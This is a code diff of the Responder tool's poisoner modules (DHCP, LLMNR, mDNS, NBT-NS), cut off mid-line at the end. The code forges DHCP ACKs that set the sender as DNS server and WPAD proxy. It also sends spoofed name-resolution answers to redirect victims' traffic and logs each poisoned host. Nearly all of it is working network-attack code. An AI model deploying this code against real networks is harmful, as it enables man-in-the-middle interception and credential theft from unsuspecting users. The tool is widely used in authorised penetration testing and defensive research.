config.read(os.path.join(BASEDIR,'Responder.conf'))
|
||||
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
||||
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
||||
Interface = options.Interface
|
||||
Responder_IP = FindLocalIP(Interface, None)
|
||||
ROUTERIP = options.RouterIP
|
||||
NETMASK = options.Netmask
|
||||
DHCPSERVER = Responder_IP
|
||||
DNSIP = options.DNSIP
|
||||
DNSIP2 = options.DNSIP2
|
||||
DNSNAME = options.DNSNAME
|
||||
WPADSRV = options.WPAD.strip() + "\\n"
|
||||
Spoof = options.Spoof
|
||||
Respond_To_Requests = options.Respond_To_Requests
|
||||
|
||||
if Spoof:
|
||||
DHCPSERVER = ROUTERIP
|
||||
Interface = settings.Config.Interface
|
||||
Responder_IP = RespondWithIP()
|
||||
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
|
||||
NETMASK = "255.255.255.0"
|
||||
DNSIP = "0.0.0.0"
|
||||
DNSIP2 = "0.0.0.0"
|
||||
DNSNAME = "local"
|
||||
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
|
||||
Respond_To_Requests = True
|
||||
DHCPClient = []
|
||||
|
||||
def GetMacAddress(Interface):
|
||||
try:
|
||||
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
|
||||
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||
except:
|
||||
mac = "00:00:00:00:00:00"
|
||||
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||
|
||||
##### IP Header #####
|
||||
class IPHead(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -155,6 +125,40 @@ class UDP(Packet):
|
||||
def calculate(self):
|
||||
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
|
||||
|
||||
class DHCPDiscover(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x01"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", os.urandom(4).decode('latin-1')),
|
||||
("ElapsedSec", "\x00\x01"),
|
||||
("BootpFlags", "\x80\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", os.urandom(6).decode('latin-1')),#Needs to be random.
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x01"), #Msgtype(Discover)
|
||||
("Op55", "\x37"),
|
||||
("Op55Len", "\x0b"),
|
||||
("Op55Str", "\x01\x03\x0c\x0f\x06\x1a\x21\x79\x77\x2a\x78"),#Requested info.
|
||||
("Op12", "\x0c"),
|
||||
("Op12Len", "\x09"),
|
||||
("Op12Str", settings.Config.DHCPHostname),#random str.
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["ClientMac"] = GetMacAddress(Interface)
|
||||
|
||||
class DHCPACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
@@ -181,7 +185,7 @@ class DHCPACK(Packet):
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
|
||||
("Op51Str", "\x00\x00\x00\x0a"), #Lease time
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
@@ -194,75 +198,28 @@ class DHCPACK(Packet):
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252", ""),
|
||||
("Op252Len", ""),
|
||||
("Op252Str", ""), #Wpad Server
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||
def calculate(self, DHCP_DNS):
|
||||
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
if DHCP_DNS:
|
||||
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
else:
|
||||
self.fields["Op252"] = "\xfc"
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
|
||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
class DHCPInformACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
def SpoofIP(Spoof):
|
||||
return ROUTERIP if Spoof else Responder_IP
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
@@ -286,7 +243,9 @@ def FindIP(data):
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4]).encode('latin-1')
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
||||
global DHCPClient
|
||||
global ROUTERIP
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||
@@ -295,66 +254,97 @@ def ParseDHCPCode(data):
|
||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
|
||||
if DHCPClient.count(MacAddrStr) >= 4:
|
||||
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
|
||||
|
||||
# DHCP Inform
|
||||
if OpCode == b"\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
|
||||
ROUTERIP = ClientIP
|
||||
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
|
||||
|
||||
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
DHCPClient.append(MacAddrStr)
|
||||
SaveDHCPToDb({
|
||||
'MAC': MacAddrStr,
|
||||
'IP': CurrentIP,
|
||||
'RequestedIP': IPConv,
|
||||
})
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||
|
||||
# DHCP Inform
|
||||
elif OpCode == b"\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
DHCPClient.append(MacAddrStr)
|
||||
SaveDHCPToDb({
|
||||
'MAC': MacAddrStr,
|
||||
'IP': CurrentIP,
|
||||
'RequestedIP': RequestedIP,
|
||||
})
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
|
||||
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
DHCPClient.append(MacAddrStr)
|
||||
SaveDHCPToDb({
|
||||
'MAC': MacAddrStr,
|
||||
'IP': CurrentIP,
|
||||
'RequestedIP': IPConv,
|
||||
})
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||
|
||||
def SendDiscover():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton('0.0.0.0').decode('latin-1'), DstIP=socket.inet_aton('255.255.255.255').decode('latin-1'))
|
||||
Packet = DHCPDiscover()
|
||||
Packet.calculate()
|
||||
Buffer = UDP(SrcPort="\x00\x44", DstPort="\x00\x43",Data = Packet)
|
||||
Buffer.calculate()
|
||||
s.sendto(NetworkSendBufferPython2or3(str(IP_Header)+str(Buffer)), ('255.255.255.255', 67))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||
|
||||
if __name__ == "__main__":
|
||||
def DHCP(DHCP_DNS):
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
|
||||
SendDiscover()
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if data[0][23:24] == b"\x11": # is udp?
|
||||
if data[0][23:24] == b"\x11":# is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
ret = ParseDHCPCode(data[0][42:])
|
||||
if ret:
|
||||
print(text("[DHCP] %s" % ret))
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
ClientIP = socket.inet_ntoa(data[0][26:30])
|
||||
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
|
||||
if ret and not settings.Config.Quiet_Mode:
|
||||
print(text("[*] [DHCP] %s" % ret))
|
||||
52
poisoners/LLMNR.py
Normal file → Executable file
52
poisoners/LLMNR.py
Normal file → Executable file
@@ -14,9 +14,7 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import fingerprint
|
||||
from packets import LLMNR_Ans
|
||||
from packets import LLMNR_Ans, LLMNR6_Ans
|
||||
from utils import *
|
||||
|
||||
if (sys.version_info > (3, 0)):
|
||||
@@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
|
||||
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
import codecs
|
||||
NameLen = data[12]
|
||||
@@ -42,11 +37,11 @@ def IsICMPRedirectPlausible(IP):
|
||||
for line in file:
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
continue
|
||||
elif ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
|
||||
if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses
|
||||
print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
|
||||
print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
|
||||
print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
|
||||
@@ -60,37 +55,50 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
try:
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||
LLMNRType = Parse_IPV6_Addr(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||
return None
|
||||
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
|
||||
#IPv4
|
||||
if data[2:4] == b'\x00\x00' and LLMNRType:
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
|
||||
elif LLMNRType == True: # Poisoning Mode
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
if Finger is not None:
|
||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||
|
||||
elif LLMNRType == 'IPv6':
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR6',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
||||
72
poisoners/MDNS.py
Normal file → Executable file
72
poisoners/MDNS.py
Normal file → Executable file
@@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MDNS_Ans
|
||||
from packets import MDNS_Ans, MDNS6_Ans
|
||||
from utils import *
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
@@ -32,14 +32,14 @@ def Parse_MDNS_Name(data):
|
||||
NameLen_ = data[1+NameLen]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
FinalName = Name+b'.'+Name_
|
||||
return FinalName.decode("latin-1")
|
||||
return FinalName.decode("latin-1").replace("\x05","")
|
||||
else:
|
||||
data = NetworkRecvBufferPython2or3(data[12:])
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
return Name+'.'+Name_.replace("\x05","")
|
||||
|
||||
except IndexError:
|
||||
return None
|
||||
@@ -51,37 +51,49 @@ def Poisoned_MDNS_Name(data):
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
def handle(self):
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
try:
|
||||
data, soc = self.request
|
||||
Request_Name = Parse_MDNS_Name(data)
|
||||
MDNSType = Parse_IPV6_Addr(data)
|
||||
# Break out if we don't want to respond to this host
|
||||
|
||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
|
||||
return None
|
||||
|
||||
data, soc = self.request
|
||||
Request_Name = Parse_MDNS_Name(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
||||
return None
|
||||
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '1',
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
elif MDNSType == True: # Poisoning Mode
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
|
||||
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
elif MDNSType == 'IPv6': # Poisoning Mode
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS6',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
except:
|
||||
raise
|
||||
|
||||
65
poisoners/NBTNS.py
Normal file → Executable file
65
poisoners/NBTNS.py
Normal file → Executable file
@@ -14,7 +14,6 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import fingerprint
|
||||
import sys
|
||||
from packets import NBT_Ans
|
||||
from utils import *
|
||||
@@ -24,59 +23,39 @@ if (sys.version_info > (3, 0)):
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# Define what are we answering to.
|
||||
def Validate_NBT_NS(data):
|
||||
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
|
||||
if settings.Config.AnalyzeMode:
|
||||
return False
|
||||
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
|
||||
return True
|
||||
elif settings.Config.NBTNSDomain:
|
||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
|
||||
return True
|
||||
elif settings.Config.Wredirect:
|
||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
|
||||
return True
|
||||
return False
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NBTNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||
return None
|
||||
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
return None
|
||||
|
||||
if data[2:4] == b'\x01\x10':
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
if data[2:4] == b'\x01\x10':
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'NBT-NS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
Buffer1 = NBT_Ans()
|
||||
Buffer1.calculate(data)
|
||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
LineHeader = "[*] [NBT-NS]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
Buffer1 = NBT_Ans()
|
||||
Buffer1.calculate(data)
|
||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
